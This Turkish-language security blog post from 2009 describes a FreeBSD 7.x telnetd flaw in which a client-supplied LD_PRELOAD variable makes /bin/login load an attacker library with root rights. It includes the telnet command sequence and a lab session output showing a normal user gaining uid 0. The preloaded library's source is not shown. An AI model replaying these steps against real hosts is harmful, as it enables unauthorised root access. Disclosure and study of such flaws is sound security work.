FreeBSD Telnet Daemon Zero Day Açıklığı

By | February 15, 2009

full-disclosure genelde çok dikkate aldığım bir liste değildir fakat ara ara sıkı şeyler çıkıyor. Dün de benzeri bir durum oldu. Arkadaşın biri FreeBSD telnet daemonu ile ilgili bir zero day açıklığı bulduğunu ve bunun hem local hem de yari-remote çalışabileceğini söylüyordu. Önce pek inandırıcı gelmedi ama sonra kendi sistemlerimde test edince gerçekten çalıştığını gördüm.

Açıklık local privilege escalation tipinde ve FreeBSD telnet daemounun /bin/login’i çalıştırırken environment değişkenini kontrolden geçirmemesinden kaynaklanıyor. Telnet bağlantılarında istenilirse Telnet sunucuya kendi çevresel değişkenleri gönderilebilir. Bu açıklık da benzeri yöntemi kullanarak LD_PRELOAD değişkenini set ederek(daha önce hedef sisteme ilgili dosyayı atmış olması gerekir) gönderiyor ve telnet sunucusu gelen bu değişkeni kontrol etmediğinden /bin/login’i root hakları ile çalıştırırken ilgili dosyayı da çalıştırıyor ve sonrası bingo!

Açıklığı değerlendirebilmek için hedef sistemde siradan bir kullanici hesabinin olmasi gerekir. Bu kullanıcının yetkilerini kullanarak hedef sisteme telnet yapılır ve LD_PRELOAD değişkeni bizim istediğimiz şekilde gönderilir. Sonrasında ilgili sistemde root hakları ile komut çalıştırmak mümkün olacaktır.

Açıklığın Testi:

Öncelikle ilgili dosyanın derlenerek hedef sisteme aktarılması gerekir. /tmp dizinine aktardığımızı düşünelim.Sonra ister hedef sisteme bağlanarak isterse uzaktan telnet bağlantısı kurularak ilgili dosyayı çalıştıralım.

FreeBSD 7.0 Telnet Suncusu

#uname -a FreeBSD snort 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386

İstemci(Telnet sunucu ile aynı makine de olabilir.)

[huzeyfe@homelabs ~]$ id uid=1001(huzeyfe) gid=1001(huzeyfe) groups=1001(huzeyfe),0(wheel)

[huzeyfe@homelabs ~]$ uname -a FreeBSD homelabs 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386

[huzeyfe@homelabs ~]$ telnet telnet> auth disable SRA telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0 telnet> open 192.168.2.20 Trying 192.168.2.20… Connected to 192.168.2.20. Escape character is ‘^]’.

FreeBSD/i386 (snort) (ttyp3)

ALEX-ALEX # uname -a FreeBSD snort 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 # id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

Her ne kadar FreeBSD sürümlerinde telnet açık olarak gelmese de(inetd.conf’dan açılması gerekir.) bazen zorunluluktan dolayı açılması gerekebiliyor. Bu tip durumlar için kötü bir bug.

Ek bilgiler: FreeBSD 7.0 ve 7.1 de çalışıyor. FreeBSD 6.2 üzerinde çalışmıyor. OpenBSD yeni sürümleri ile birlikte telnet daemonu barindirmiyor.

–Listeye gönderilen orjinal e-posta–

http://lists.grok.org.uk/pipermail/full-disclosure/2009-February/067954.html

FreeBSD Güvenlik Takımından gelen yanıt için

http://lists.freebsd.org/pipermail/freebsd-security/2009-February/005140.html

Anlaşılan o ki açıklığı bulan kişi FreeBSD takımını hiç uyarmadan exploiti ile birlikte yayınlamış.

Be Sociable, Share!

Related posts:

  1. FreeBSD 7.2 Güncelleme
  2. FreeBSD binary(ikili) guncelleme
  3. Snort ile Telnet baglantilarini loglama
  4. FreeBSD Audit Altyapisi
  5. HP DL380 G5 uzerine FreeBSD Kurulumu

1 Comment

Links to this Post

  1. İşletim Sistemleri Komut Enjeksiyonu Zayıflıkları « Kaptanoglu Security — July 11, 2009 @ 9:04 am

RSS feed for comments on this post. TrackBack URI

Leave a comment